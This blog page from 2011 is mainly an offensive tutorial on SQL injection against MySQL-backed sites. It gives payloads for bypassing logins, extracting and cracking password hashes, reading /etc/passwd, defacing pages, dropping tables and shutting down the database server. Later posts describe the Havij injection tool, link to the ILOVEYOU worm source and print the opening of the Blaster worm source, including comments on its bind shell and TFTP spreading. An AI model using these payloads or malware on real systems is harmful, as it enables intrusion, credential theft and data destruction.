Pages

07 May 2011

Complete MySQL injection for newbies

Background

This article entitled "Complete MySQL Injection For Newbies" intends to provide the complete knowledge and work-how of SQL injection specially targeted on MySQL database except the stacked query parts. This article deals with the SQL injection technique in MySQL backed server.

I just thought to share this once again. Few things are updated and hence might give you more information. I am thinking of writing SQL injection cheatsheet later on when I have time.

Intro

In this tutorial, I will demonstrate the infamous MySQL injection in newbie perspective so that all the newbies become able to become successful SQL injector. But, be sure to check various PHP & MySQL functions in various sites which will help you a lot... Also do not be harsh on me if there are any grammatical errors on the tutorial because English is not my native language. Now lets begin our walkthrough of SQL injection.


What Is Database?

Just general info.. Database is the application that stores a collection of data. Database offers various APIs for creating, accessing and managing the data it holds. And database(DB) servers can be integrated with our web development so that we can pick up the things we want from the database without much difficulties. DB may hold various critical informations like usernames, passwords, credit cares,etc. So, DB need to be secured but many DB servers running are insecured either because of their vulnerability or because of poor programming handles. To name few DB servers, MySQL(Open source), MSSQL, MS-ACCESS, Oracle, Postgre SQL(open source), SQLite, etc.


What Is SQL Injection?


SQL injection is probably the most abundant programming flaw that exists on the internet at present. It is the vulnerability through which unauthorized person can access the various critical and private dat. SQL injection is not a flaw in the web or db server but but is a result of the poor and inexperienced programming practices. And it is one of the deadliest as well as easiest attack to execute from remote location.

In SQL injection, we interact with DB server with the various commands and get various data from it. In this tutorial, I would be discussing 3 aspects of SQL injection namely bypassing logins, accessing the secret data and modifying the page contents. So lets head forward on our real walkthrough..


Bypassing Logins

Suppose, a site has a login form & only the registered users are allowed to enter the site. Now, say u wanted to bypass the login and enter the site as the legitimate user. If the login script is not properly sanitized by the programmer, u may have luck to enter the site. U might be able to login into the site without knowing the real username and real password by just interacting with the DB server. So, isn't that the beauty of SQL injection??


Let's see an example, where the username admin with the password D4wFl1N can login to the site. Suppose, the SQL query for this is carried out as below:


Code:
SELECT USER from database WHERE username='admin' AND password='D4wFl1N'
And if above SELECT command evaluates true, user will be given access to the site otherwise not. Think what we could do if the script is not sanitized. This opens a door for the hackers to gain illegal access to the site.

In this example, the attacker can enter the following user data in the login form:

username:a or 1=1--
password:blank

So, this would make our query as:


Code:
SELECT USER from database WHERE username='a' or 1=1-- AND password=''
Note that -- is the comment operator and anything after it will be ignored as a comment. There exists another comment operator which is /*.

So our above query becomes:

Code:
SELECT USER from database WHERE username='a' or 1=1
Now this query evaluates true even if there is no user called 'a' because 1=1 is always true and using OR makes the query return true when one of the query is true. And this gives access to the site admin panel.

There can be various other username and password combinations to play with the vulnerable sites. U can create ur own new combinations for the site login.

Few such combinations are:
Code:
username:' or 1='1        password:' or 1='1
username:' or '1'='1'    password:' or '1'='1'
username:or 1=1        password:or 1=1
and there are many more cheat sheets. Just google. In fact, you can create your own such combinations to bypass logins..

That's all about bypassing logins.

 

Accessing Secret Data

SQL injection is not essentially done for bypassing logins only but it is also used for accessing the sensitive and secret data in the DB servers. This part is long, so I would be discussing in the subsections.

Checking for vulnerability

Suppose, u got a site:
Code:
site.com/article.php?id=5
Now to check if it is vulnerable, u would simply add ' in the end i.e. where id variable is assigned.
So, it is:
Code:
site.com/article.php?id=5'
Now if the site is not vulnerable, it filters and the page loads normally.
But, if it doesn't filter the query string, it would give the error something like below:
"MySQL Syntax Error By '5'' In Article.php on line 15."
or
error that says us to check the correct MySQL version or MySQL Fetch error or sometimes just blank page. The error may be in any form. So it makes us sure that the site is vulnerable.

Also just using ' may not be the sure test; so you may try different things like:

Code:
site.com/article.php?id=5 union select 1--
If you get error with this, you again come to know that its vulnerable... Just try different things..

 

Find the number of columns

So, now its time to find the number of columns present. For this purpose, we will be using 'order by' until we get error.

That is, we make our URL query as:

Code:
site.com/article.php?id=5 order by 1/*
This didn't give error.

Now, I do increase it to 2.

Code:
site.com/article.php?id=5 order by 2/*
Still no error
So, we need to increase until we get the error.

In my example, I got error when I put the value 3 i.e.

Code:
site.com/article.php?id=5 order by 3/*
This gave me error.

So, it means there are 2 columns in the current table(3-1=2). This is how we find the number of columns.

Addressing Vulnerable Part

Now, we need to use union statement & find the column which we can replace so as to see the secret data on the page.

First lets craft the union statement which won't error.. This becomes like this:

Code:
site.com/article.php?id=5 UNION ALL SELECT null/*
This would error because our query needs to have one more null there.. Also null doesnot cause any type conversion error as it is just null..

So for our injection, it becomes:

Code:
site.com/article.php?id=5 UNION ALL SELECT null,null/*
For this we do:

Code:
site.com/article.php?id=5 UNION ALL SELECT 1,2/*
Now we will see the number(s) on the page somewhere. I mean, either 1 or 2 or both 1 & 2 are seen on the page. Note that the number may be displayed anywhere like in the title of the page or sometime even in the hidden tags in the source.. So, this means we can replace the number with our commands to display the private data the DB holds.

In my example, 1 is seen on the page. This means, I should replace 1 with my thingsto proceed further. Got it??So lets move forward.

Quick note: Sometime the numbers may not be displayed so it becomes hard for you to find the column which you can use to steal the data.. So in that case, you may try something like below:

Code:
site.com/article.php?id=5 UNION ALL SELECT D4wFl1N,null/*
or

Code:
site.com/article.php?id=5 UNION ALL SELECT null,D4wFl1N/*
If D4wFl1N is displayed somewhere in the page, you may go further for injection replacing the text part... Here, I have kept text instead of integer to check if text is displayed... Also, be sure to check source because sometimes they may be in some hidden tags.

Finding MySQL version:

For our injection, it is necessary to find the MySQL version because if it is 5, our job becomes lot easier. To check the version, there is a function @@version or version().

So, what we do is replace 1(which is the replaceable part) with @@version i.e. we do as below:

Code:
site.com/article.php?id=5 UNION ALL SELECT @@version,2/*
or

Code:
site.com/article.php?id=5 UNION ALL SELECT version(),2/*
So, this would return the version of MySQL running on the server.

But, sometimes u may get error with above query. If that is the case, do use of unhex(hex()) function like this:

Code:
site.com/article.php?id=UNION ALL SELECT unhex(hex(@@version)),2/*
Remember that if u have to use unhex(hex()) function here, u will also have to use this function in the injection process later on.

@@version will give u the version. It may be either 4(or below) or 5 & above. I m now going to discuss the injection process for version 5 and 4 separately coz as I said earlier, version 5 makes it easy for us to perform the injection.

Quick note: Also, you may check for user, database,etc.. by using following:

Code:
site.com/article.php?id=5 UNION ALL SELECT user(),2/*
site.com/article.php?id=5 UNION ALL SELECT database(),2/*

 

MySQL 5 or above injection:

Here, I m gonna show u how to access data in the server running MySQL 5 or above.

U got MySQL version 5.0.27 standard using the @@version in url parameter. MySQL from version 5 has a useful function called information_schema. This is table that holds information about the tables and columns present in the DB server. That is, it contains name of all tables and columns of the site.

For getting table list, we use: table_name from information_schema.tables

For getting column list, we use: column_name from information_schema.columns

So our query for getting the table list in our example would be:

Code:
site.com/article.php?id=5 UNION ALL SELECT table_name,2 FROM information_schema.tables/*
And yeah if u had to use unhex(hex()) while finding version, u will have to do:
Code:
site.com/article.php?id=5 UNION ALL SELECT unhex(hex(table_name)),2 FROM information_schema.tables/*
This will list all the tables present in the DB. For our purpose, we will be searching for the table containing the user and password information. So we look the probable table with that information. U can even write down the table names for further reference and works. For my example, I would use the tbluser as the table that contains user & password.

Similarly, to get the column list, we would make our query as:

Code:
site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns/*
This returns all the columns present in the DB server. Now from this listing, we will look for the probable columns for username and password. For my injection, there are two columns holding these info. They are username and password respectively. So that's the column what I wanted. U have to search and check the columns until u get no error.

Alternatively to find the column in the specific table, u can do something like below:

Code:
site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns WHERE table_name='tbluser'
This would display the columns present in the table tbluser. But this may not work always based on PHP.INI so hex up.

Let me show u how I got to know that the above two columns belong to table tbluser. Now let me show how to display the username and password stored in the DB.

There is a function called concat() that allows me to join the two columns and display on the page. Also I will be using semicolon) in the hex form. Its hex value is 0x3a(thats zero at beginning not alphabet o.)

What I do is:

Code:
site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/*
And this gives me the username and password like below:
Code:
admin:c6edf1c823604fbb56b1120f513ef7ed
Here the password is hashed and in this case, its MD5. Now u need to get the hash cracker like John The Ripper(openwalls.org), Cain & Able(oxid.it) and crack the hash. The hash may be different like SHA1, MD5,etc.. or sometimes plaintext password may be shown on the page. In this case, when I crack I get the password as D4wFl1N.

Now u get to admin login page and login as admin. Then u can do whatever u like. So that's all for the MySQL version 5.

MySQL version 4 injection:

Now say ur victim has MySQL version 4. Then u won't be able to get the table name and column name as in MySQL version 5 because it lacks support for information_schema.tables and information_schema.columns. So now u will have to guess the table name and column name until u do not get error. Also, if the MySQL version is below 5, you may have to depend on the luck & error messages displayed.. Sometimes the error will give you the table name & column name & that gives you some idea to guess the correct table & columns name.. Say, the error reports D4wFl1N_article in the error.. So, you know thatD4wFl1N_ is the prefix used in the table names...

Anyway, lets go for MySQL version 4 injection...

For example, u would do as below:

Code:
site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM user/*
Here, I guessed for the table name as user. But this gave me the error because the table with the name user didn't exist on the DB. Now I kept on guessing for the table name until I didn't get error.

When I put the table name as tbluser, the page loaded normally. So I came to know that the table tbluser exists.

Code:
site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM tbluser/*
The page loaded normally. Now again u have to guess the column names present in the tbluser table.

I do something like below:

Code:
site.com/article.php?id=5 UNION ALL SELECT user_name,2 FROM tbluser/*
    //this gave me error so there is no column with this name.
    site.com/article.php?id=5 UNION ALL SELECT username,2 FROM tbluser/*
    //It loaded the page normally along with the username from the table.
    site.com/article.php?id=5 UNION ALL SELECT pass,2 FROM tbluser/*
    //it errored so again the column pass doesnot exist in the table tbluser.
    site.com/article.php?id=5 UNION ALL SELECT password,2 FROM tbluser/*
    //the page loaded normally with password hash(or plaintext password).
Now u may do this:

Code:
site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/*
This gave me:
admin:c6edf1c823604fbb56b1120f513ef7ed

On cracking, I got D4wFl1N as password. Now I just need to login the site and do whatever I wanted.

Few table names u may try are: user(s), table_user(s), tbluser(s), tbladmin(s), admin(s), members, etc. As said earlier, be sure to look on the errors because sometime they give fortunately for us the errors with table names & column names...

U may try these methods so as to get various data such as credit card numbers, social security numbers, etc. and etc. if the database holds. Just what u need to do is figure out the columns and get them displayed on the vulnerable page. That's all on the injection for accessing secret data.

Modifying Site Content

Sometime, u find the vulnerable site and get evrything to know but maybe admin login doesn't exist or it is accessible for certain IP range. Even in that context, u can use some kewl SQL commands for modifying the site content. I haven't seen much articles addressing this one so thought to include it here.

Here, I will basically talk about few SQL commands u may use to change the site content. Therse commands are the workhorse of MySQL & are deadly when executed. But stacked queries donot work in MySQL.

First let me list these commands:

UPDATE: It is used to edit infos already in the db without deleting any rows.
DELETE: It is used to delete the contents of one or more fields.
DROP: It is used completely delete a table & all its associated data.
Now, u could have figured out that these commands can be very desctructive if the site lets us to interact with db with no sanitization & proper permission.
Command Usage:
UPDATE: Our vulnerable page is:
Code:
site.com/article.php?id=5
Lets say the query is:
Code:
SELECT title,data,author FROM article WHERE id=5
Though in reality, we don't know the query as above, we can find the table and column name as discussed earlier.

So we would do:

Code:
site.com/article.php?id=5 UPDATE article SET title='Hacked By D4wFl1N'/*
or, u could alternatively do:
Code:
site.com/article.php?id=5 UPDATE article SET title='HACKED BY D4wFl1N',data='Ur site has zero    
    security',author='D4wFl1N'/*
By executing first query, we have set the title value as 'Hacked By D4wFl1N' in the table article while in second query, we have updated all three fields title, data, & author in the table article.
Sometimes, u may want to change the specific page with id=5. For this u will do:
Code:
site.com/article.php?id=5 UPDATE article SET title='value 1',data='value 2',author='value 3' WHERE id=5/*
DELETE:As already stated, this deletes the content of one or more fields permanently from the db server.
The syntax is:
Code:
site.com/article.php?id=5 DELETE title,data,author FROM article/*
or if u want to delete these fields from the id=5, u will do:
Code:
site.com/article.php?id=5 DELETE title,data,author FROM article WHERE id=5/*
DROP:This is another deadly command u can use. With this, u can delete a table & all its associated data.
For this, we make our URL as:
Code:
site.com/article.php?id=5 DROP TABLE article/*
This would delete table article & all its contents.

Finally, I want to say little about ;

Though I have not used this in my tutorial, u can use it to end ur first query and start another one.

This ; can be kept at the end of our first query so that we can start new query after it.

Shutting Down MySQL Server

This is like DoSing the server as it will make the MySQL resources unavailable for the legitimate users or site visitors... For this, you will be using: SHUTDOWN WITH NOWAIT;

So, you would craft a query which would execute the above command...

For example, in my case, I would do the following:

Code:
site.com/article.php?id=5 SHUTDOWN WITH NOWAIT;
WOW! the MySQL server is down... This would prevent legitimate users & site visitors from using or viewing MySQL resources...

Loadfile

MySQL has a function called load_file which you can use for your benefits again.. I have not seen much site where I could use this function... I think we should have MySQL root privilege for this.... Also, the magic quotes should be off for this.. But there is a way to get past the magic quotes... load_file can be used to load certain files of the server such as .htaccess, .htpasswd, etc.. & also password files like etc/passwd, etc..

Do something like below:

Code:
site.com/article.php?id=5 UNION ALL SELECT load_file('etc/passwd'),2/*
But sometimes, you will have to hex the part & do something like below:
Code:
site.com/article.php?id=5 UNION ALL SELECT load_file(0x272F6574632F70617373776427)
where I have hexed... Now, if we are lucky, the script would echo the etc/passwd in the result..

 

MySQL Root

If the MySQL version is 5 or above, we might be able to gain MySQL root privilege which will again be helpful for us.. MySQL servers from version 5 have a table called mysql.user which contains the hashes & usernames for login... It is in the user table of the MySQL database which ships with every installation of MySQL..

For this, you will do:

Code:
site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 from mysql.user/*
Now you will get the usernames & hashes.. The hash is mysqlsha1... Quick note: JTR won't crack it.. But insidepro.com has one to do it.

Major MySQL Commands


Below, I would list some major MySQL commands that might help you a lot... Play with them in different ways by setting up a MySQL server in your computer..

All the commands here are copy pasted from the post at h4cky0u & the credit for this part goes to the original author.. This is the only part which I didn't write myself.. I could have but since there is better one, I thought to put the same part here.. Thanks to whoever posted this in h4cky0u site.. & also full credits to him/her for this part..

ABORT -- abort the current transaction
ALTER DATABASE -- change a database
ALTER GROUP -- add users to a group or remove users from a group
ALTER TABLE -- change the definition of a table
ALTER TRIGGER -- change the definition of a trigger
ALTER USER -- change a database user account
ANALYZE -- collect statistics about a database
BEGIN -- start a transaction block
CHECKPOINT -- force a transaction log checkpoint
CLOSE -- close a cursor
CLUSTER -- cluster a table according to an index
COMMENT -- define or change the comment of an object
COMMIT -- commit the current transaction
COPY -- copy data between files and tables
CREATE AGGREGATE -- define a new aggregate function
CREATE CAST -- define a user-defined cast
CREATE CONSTRAINT TRIGGER -- define a new constraint trigger
CREATE CONVERSION -- define a user-defined conversion
CREATE DATABASE -- create a new database
CREATE DOMAIN -- define a new domain
CREATE FUNCTION -- define a new function
CREATE GROUP -- define a new user group
CREATE INDEX -- define a new index
CREATE LANGUAGE -- define a new procedural language
CREATE OPERATOR -- define a new operator
CREATE OPERATOR CLASS -- define a new operator class for indexes
CREATE RULE -- define a new rewrite rule
CREATE SCHEMA -- define a new schema
CREATE SEQUENCE -- define a new sequence generator
CREATE TABLE -- define a new table
CREATE TABLE AS -- create a new table from the results of a query
CREATE TRIGGER -- define a new trigger
CREATE TYPE -- define a new data type
CREATE USER -- define a new database user account
CREATE VIEW -- define a new view
DEALLOCATE -- remove a prepared query
DECLARE -- define a cursor
DELETE -- delete rows of a table
DROP AGGREGATE -- remove a user-defined aggregate function
DROP CAST -- remove a user-defined cast
DROP CONVERSION -- remove a user-defined conversion
DROP DATABASE -- remove a database
DROP DOMAIN -- remove a user-defined domain
DROP FUNCTION -- remove a user-defined function
DROP GROUP -- remove a user group
DROP INDEX -- remove an index
DROP LANGUAGE -- remove a user-defined procedural language
DROP OPERATOR -- remove a user-defined operator
DROP OPERATOR CLASS -- remove a user-defined operator class
DROP RULE -- remove a rewrite rule
DROP SCHEMA -- remove a schema
DROP SEQUENCE -- remove a sequence
DROP TABLE -- remove a table
DROP TRIGGER -- remove a trigger
DROP TYPE -- remove a user-defined data type
DROP USER -- remove a database user account
DROP VIEW -- remove a view
END -- commit the current transaction
EXECUTE -- execute a prepared query
EXPLAIN -- show the execution plan of a statement
FETCH -- retrieve rows from a table using a cursor
GRANT -- define access privileges
INSERT -- create new rows in a table
LISTEN -- listen for a notification
LOAD -- load or reload a shared library file
LOCK -- explicitly lock a table
MOVE -- position a cursor on a specified row of a table
NOTIFY -- generate a notification
PREPARE -- create a prepared query
REINDEX -- rebuild corrupted indexes
RESET -- restore the value of a run-time parameter to a default value
REVOKE -- remove access privileges
ROLLBACK -- abort the current transaction
SELECT -- retrieve rows from a table or view
SELECT INTO -- create a new table from the results of a query
SET -- change a run-time parameter
SET CONSTRAINTS -- set the constraint mode of the current transaction
SET SESSION AUTHORIZATION -- set the session user identifier and the current user identifier of the current session
SET TRANSACTION -- set the characteristics of the current transaction
SHOW -- show the value of a run-time parameter
START TRANSACTION -- start a transaction block
TRUNCATE -- empty a table
UNLISTEN -- stop listening for a notification
UPDATE -- update rows of a table
VACUUM -- garbage-collect and optionally analyze a database

Finalizing The Injection Tutorial

I know I have missed some things like outfile, WHERE clause, blind injection,etc... If I get time, I would try to update the tutorial with these.. Also for all sql injectors, think in a broad way.. & hexing is an important part in sql injection.. Sometimes the things that can't be done with normal ways can be done by using the hex part.. & be sure to try things with char(), hex() functions.. With these, you can bypass magic quotes on the server.. Again, within the UNION statement, you may try to use the XSS which would be sometimes helpful for you..

Code:
site.com/article.php?id=5 UNION ALL SELECT "<"script">"
alert("XSS via SQL injection");
"<"/script">",2/*
Again in the above injection, you may require to hex up the javascript part for bypassing the magic quotes..
Also for starters & those who know little things, you may setup a MySQL server & configure PHP for your apache server in your localhost where you can try different things..

In the command line interface of MySQL, try various commands enlisted below.. Try by modifying them... This would help you improve your MySQL command knowledge.. Also try to see how PHP codes interact with MySQL server.. For example, install some free forums like PHPBB, SMF,etc.. or some content management system as it would help you in two ways.. First, you would learn how the PHP interacts with MySQL.. You may check MySQL folder with what changes has occured after installing them.. What would happen if I do this? or that?? etc..etc.. Second, you may be able to find bugs in them.. like rfi in some part of the code or sql injection in another part or maybe csrf injection,etc.. That would help you to learn new things because you all know practice makes the man perfect...


Greetz & Shoutz

Greetz to all Nyubi Crew , MEH , deadc0de-team and all of you at darkmindz. Load of shoutz to pSyChO mOnkee and sToRm(you two guys rock) and all at GNY. Also greet to t0mmy9(Thanks for always helping me learn things) at thisis legal

The End

With this, my tutorial which was mainly intended for newbies, ends here. I hope u liked my tutorial. I will hopefully write new tutorials in newbie concept after I learn myself all these things. Any comments can be dropped at D4wFl1N[at]hotmail.com

And finally, read more and more, ask more and more and thats the best way to learn the things.

Keep Learning & Enjoy It.

Regards~
-=[ D4wFl1N ]=-
Nice read!!!
Baca Selengkapnya... Complete MySQL injection for newbies

Intel Desktop Board DH55HC - Solusi Murah Untuk Prosesor Seri Core i3, i5 & i7

Intro

Tahun ini cukup diramaikan dengan beberapa teknologi terbaru di dunia komputer. Mulai dari munculnya teknologi USB versi 3, memori DDR3, hard disk SATA3 dan tidak ketinggalan prosesor intel yang meluncurkan 3 buah seri terbaru, yaitu Core i3, i5 dan i7. Sejalan dengan berdatangannya teknologi-teknologi baru tersebut juga memicu mayoritas produsen komputer kenamaan untuk menghadirkan produk-produk terbarunya. Tidak ketinggalan dengan intel yang turut menyediakan varian motherboard terbaru untuk menggandeng prosesor seri Core i.

Intel Desktop Board DH55HC

DH55HC_sm.jpg


Tersebutlah salah satu produk motherboard bertipe DH55HC gawangan intel. Motherboard persegi mini ini ternyata menyimpan kemampuan maksi yang mampu mengakomodasi teknologi komputasi terkini. Produk ini mampu bekerjasama dengan prosesor Core i3, i5 dan i7 di soket LGA1156-nya. Untuk penyimpanan proses sementara, DH55HC mengusung teknologi memori kanal ganda DDR3 1333 atau 1066 dengan total memori sebesar 16GB di 4 buah slot yang tersedia. Di sisi media penyimpanan, mainboard ini mengusung 4 buah port SATA3 dan 2 buah port ESATA untuk perangkat media penyimpanan hard disk eksternal.
Untuk interkoneksi dengan perangkat luar, motherboard ini dilengkapi dengan beberapa port USB versi 2, kartu suara 8 kanal besutan Realtek ALC888S, sebuah port PS2, dan beberapa port lainnya. Komunikasi via jaringan komputer juga dimungkinkan berbekalkan kartu jaringan onboard Intel® 82578DC dengan kecepatan transfer data 10/100/1000 [Gigabit]. Bagi Anda yang gemar bermain game, sebuah port PCIE juga disediakan untuk menerima sembarang kartu grafis. 3 buah slot PCI juga tersedia untuk ekspansi kartu periferal lainnya.


Spesifikasi


Form factor ATX
AA# (Altered Assembly) E70933-XXX
BIOS ID string TCIBX10H.86A
Processor At product launch, this desktop board supports:



Memory
  • Four 240-pin DDR3 SDRAM Dual Inline Memory Module (DIMM) sockets
  • Support for DDR3 1333 /1066 MHz DIMMs
  • Support for up to 16 GB of system memory
Chipset
Audio Intel® High Definition Audio subsystem in the following configuration:

  • 8-channel (5.1+ 2 independent multi-streaming) audio subsystem with three analog audio outputs using the Realtek ALC888S* audio codec
LAN support Gigabit (10/100/1000 Mbits/sec) LAN subsystem using the Intel® 82578DC Gigabit Ethernet Controller
Peripheral interfaces
  • Up to twelve USB 2.0 ports
  • Six Serial ATA 3.0 Gb/s ports, with two ports compatible with eSATA dongles
  • One serial port header
  • One parallel port header
  • One back panel PS/2 connector
Expansion capabilities
  • One PCI Express* 2.0 x 16 bus add-in card connector
  • Two PCI Express 2.0 x 1 connectors
  • Three PCI Conventional bus connector

Penilaian

Berikut ini beberapa penilaian ditShop terhadap produk mother yang satu ini.
Nilai Plus
  • Dimensi produk kecil tetapi juga tidak sulit saat perakitan dan pemasangan periferal lainnya.
  • Dukungan prosesor beragam di seri LGA 1156.
  • Mengusung 4 buah slot DDR3 untuk kebutuhan memori besar, kemudahan ekspansi serta dukungan dual kanal.
  • Tersedia kartu suara untuk kebutuhan multimedia.
  • Tersedia port DVI dan D-SUB untuk keluaran ke layar.
  • Tersedia slot PCI konvensional dan ekspress untuk tambahan modul berbasis PCI.
  • Kartu jaringan yang sudah mendukung transfer data gigabit.
  • Menggunakan pendingin pasif berupa heat sink untuk mengurangi kebisingan dan debu.
  • Harga terbilang murah untuk fitur yang diusungnya.
Nilai Minus
  • Selain kapasitor disekitar area prosesor masih menggunakan kapasitor konvensional.
  • Membutuhkan PSU [Power Supply Unit] dengan kabel molex [supply listrik ke prosesor] 8 pin.

Outro

Setelah mempelajari produk ini, melakukan beberapa uji coba dan menggunakannya secara langsung, saya memilih Intel Desktop Board DH55HC sebagai motherboard yang layak dipertimbangkan untuk kebutuhan prosesor seri Core i. Fitur terbaru, kemampuan maksimal dan harga yang terbilang murah menjadi nilai unggulan produk ini. 

Referensi :
www.google.co.id
http://d4wfl1n.nyubicrew.us/
Baca Selengkapnya... Intel Desktop Board DH55HC - Solusi Murah Untuk Prosesor Seri Core i3, i5 & i7

27 April 2011

Ubuntu Go! 11.01 ENG/RUS

Ubuntu Go! 11.01 ENG/RUS | 2.3GB
Architecture: x86
License: Freeware
Language: English / Russian
Super-fast and great-looking, Ubuntu is a secure, intuitive operating system that powers desktops, servers, netbooks and laptops. Ubuntu is, and always will be, absolutely free.

Features of Release :
  • The assembly includes all the latest updates of Ubuntu on 29 January 2011
  • Installed the kernel 6.2.1937-enabled Physical Address Extension (PAE), the kernel patched "200 Interline patch" that increases the responsiveness of the system.
  • Building has now become a multilingual, English and Russian languages ??are installed completely.
  • Set a default theme Orta and the package of icons Faenza. Added a dark theme Atolm.
  • Replaced the wallpaper.
  • Added Appendix Ubuntu Go! Apps, which will help you install the necessary software and drivers without Internet access.
  • Ubuntu Go! Apps includes the following drivers for video card: Ati Catalyst 10.10 (with full support vSync), Ati Catalyst 10.12, Nvidia linux display driver 260.19.29, all the drivers patched for the new kernel
Installation :
Before installing, be sure to disconnect the Internet. After the installation is successful, and the desktop appears, insert the media Ubuntu Go! 1.11 to install additional programs by Ubuntu Go! Apps.
To work with the stick Ubuntu Go! Apps, change volume label stick on UBUNTUGO

Note :
After installing the software and drivers in Ubuntu Go! Apps, should run in a terminal sudo apt-get update
For installation in VirtualBox, do not forget to include in setting up the support PAE. Otherwise, the system will not boot.
  • Added Appendix Ubuntu Tweak
  • Module installed Adobe Flash.
  • Installed the package ubuntu-restricted-extras which contains the codecs, flash, java, fonts windows.
  • Added package Madwimax, to work with wimax modems.
Ext. Information :
  • The disc contains a local repository.
  • Supported the installation of flash drives. Added program UNetbootin v.494 which will help you make a bootable USB flash drive.
  • Reviewed the original installer ubuntu.
Download :
http://www.filesonic.com/file/349875364/Ubuntu.Go.11.01.ENG.RUS.part01.rar
http://www.filesonic.com/file/349875424/Ubuntu.Go.11.01.ENG.RUS.part02.rar
http://www.filesonic.com/file/349875394/Ubuntu.Go.11.01.ENG.RUS.part03.rar
http://www.filesonic.com/file/349878144/Ubuntu.Go.11.01.ENG.RUS.part04.rar
http://www.filesonic.com/file/349878524/Ubuntu.Go.11.01.ENG.RUS.part05.rar
http://www.filesonic.com/file/349878184/Ubuntu.Go.11.01.ENG.RUS.part06.rar
http://www.filesonic.com/file/349878454/Ubuntu.Go.11.01.ENG.RUS.part07.rar
http://www.filesonic.com/file/349878534/Ubuntu.Go.11.01.ENG.RUS.part08.rar
http://www.filesonic.com/file/349878084/Ubuntu.Go.11.01.ENG.RUS.part09.rar
http://www.filesonic.com/file/349878314/Ubuntu.Go.11.01.ENG.RUS.part10.rar
http://www.filesonic.com/file/349878544/Ubuntu.Go.11.01.ENG.RUS.part11.rar
http://www.filesonic.com/file/349878634/Ubuntu.Go.11.01.ENG.RUS.part12.rar
http://www.filesonic.com/file/349878464/Ubuntu.Go.11.01.ENG.RUS.part13.rar
http://www.filesonic.com/file/349878284/Ubuntu.Go.11.01.ENG.RUS.part14.rar
http://www.filesonic.com/file/349875684/Ubuntu.Go.11.01.ENG.RUS.part15.rar
http://www.filesonic.com/file/349878044/Ubuntu.Go.11.01.ENG.RUS.part16.rar
http://www.filesonic.com/file/349878654/Ubuntu.Go.11.01.ENG.RUS.part17.rar
http://www.filesonic.com/file/349878104/Ubuntu.Go.11.01.ENG.RUS.part18.rar
http://www.filesonic.com/file/349878234/Ubuntu.Go.11.01.ENG.RUS.part19.rar
http://www.filesonic.com/file/349878774/Ubuntu.Go.11.01.ENG.RUS.part20.rar
http://www.filesonic.com/file/349878554/Ubuntu.Go.11.01.ENG.RUS.part21.rar
http://www.filesonic.com/file/349878264/Ubuntu.Go.11.01.ENG.RUS.part22.rar
http://www.filesonic.com/file/349864154/Ubuntu.Go.11.01.ENG.RUS.part23.rar
Baca Selengkapnya... Ubuntu Go! 11.01 ENG/RUS

26 April 2011

Havij 1.14 + Patch

Havij adalah salah satu dari sekian banyak tools yang biasa digunakan para LAMERS termasuk SAYA SENDIRI untuk melakukan aksi SQL Injection.

segitu ajah yah penjelasannya :p malas gw ngetik panjang² :p

Baca Selengkapnya... Havij 1.14 + Patch

25 April 2011

Source code Love Letter Worm (I LOVE YOU)

ILOVEYOU, juga dikenal sebagai Loveletter merupakan worm komputer yang berhasil menyerang puluhan juta komputer Windows pada tahun 2000 ketika ia dikirim sebagai lampiran melalui sebuah pesan email dengan teks subjek "ILOVEYOU"

Worm ini diperkirakan tiba di inbox email pada tanggal 4 Mei 2000 dengan subjek sederhana "ILOVEYOU" dan lampiran "LOVE-LETTER-FOR-YOU.TXT.vbs".

Ekstensi 'vbs' pada lampiran tersebut terhidden secara default, yang menyebabkan pengguna email lengah dan berpikir bahwa file itu adalah sebuah file teks biasa. Setelah membuka lampiran, worm tersebut mengirimkan salinan dirinya ke semua orang di Windows Address Book dan dengan alamat pengirim pengguna. Hal ini juga membuat sejumlah perubahan berbahaya untuk sistem pengguna.

Berikut source code dari worm ini :
http://pastebin.com/VXJNyQKv

Untuk penjelasan lebih lanjut dari worm ini dapat anda baca pada referensi :
http://www.cert.org/advisories/CA-2000-04.html
http://www.econmr.org/datapool/page/30/virus.pdf
http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.87.8077&rep=rep1&type=pdf
Baca Selengkapnya... Source code Love Letter Worm (I LOVE YOU)

Source Code WORM W32/Blaster

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Pertidak Pertanggungjawaban :

  • Saya tidak bertanggung atas penyalahgunaan source code ini
  • Postingan ini hanya untuk pembelajaran saja, jadi tolong jangan di salah gunakan
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++



Worm Blaster atau biasa juga dikenal dengan sebutan Lovsan, Lovesan atau MSBlast adalah worm komputer yang menyebar pada komputer yang berjalan pada sistem operasi Microsoft: Windows XP dan Windows 2000, pada bulan Agustus tahun 2003.

Breikut skema penyebaran worm ini





Berikut Source code nya :
#include 
#include    /*IP_HDRINCL*/
#include     /*InternetGetConnectedState*/
#include 

#pragma comment (lib, "ws2_32.lib")
#pragma comment (lib, "wininet.lib")
#pragma comment (lib, "advapi32.lib")


/*
 * These strings aren't used in the worm, Buford put them here
 * so that whitehat researchers would discover them.
 */
const char msg1[]="I just want to say LOVE YOU SAN!!";
const char msg2[]="billy gates why do you make this possible ?"
                  " Stop making money and fix your software!!";


/*
 * Buford probably put the worm name as a "define" at the top
 * of his program so that he could change the name at any time.
 * 2003-09-29: This is the string that Parson changed.
 */
#define MSBLAST_EXE "msblast.exe"

/*
 * MS-RPC/DCOM runs over port 135.
 * DEFENSE: firewalling port 135 will prevent systems from
 * being exploited and will hinder the spread of this worm.
 */
#define MSRCP_PORT_135 135

/*
 * The TFTP protocol is defined to run on port 69. Once this
 * worm breaks into a victim, it will command it to download
 * the worm via TFTP. Therefore, the worms briefly runs a
 * TFTP service to deliver that file.
 * DEFENSE: firewalling 69/udp will prevent the worm from
 * fully infected a host.
 */
#define TFTP_PORT_69    69

/*
 * The shell-prompt is established over port 4444. The 
 * exploit code (in the variable 'sc') commands the victim
 * to "bind a shell" on this port. The exploit then connects
 * to that port to send commands, such as TFTPing the 
 * msblast.exe file down and launching it.
 * DEFENSE: firewalling 4444/tcp will prevent the worm from
 * spreading.
 */
#define SHELL_PORT_4444 4444


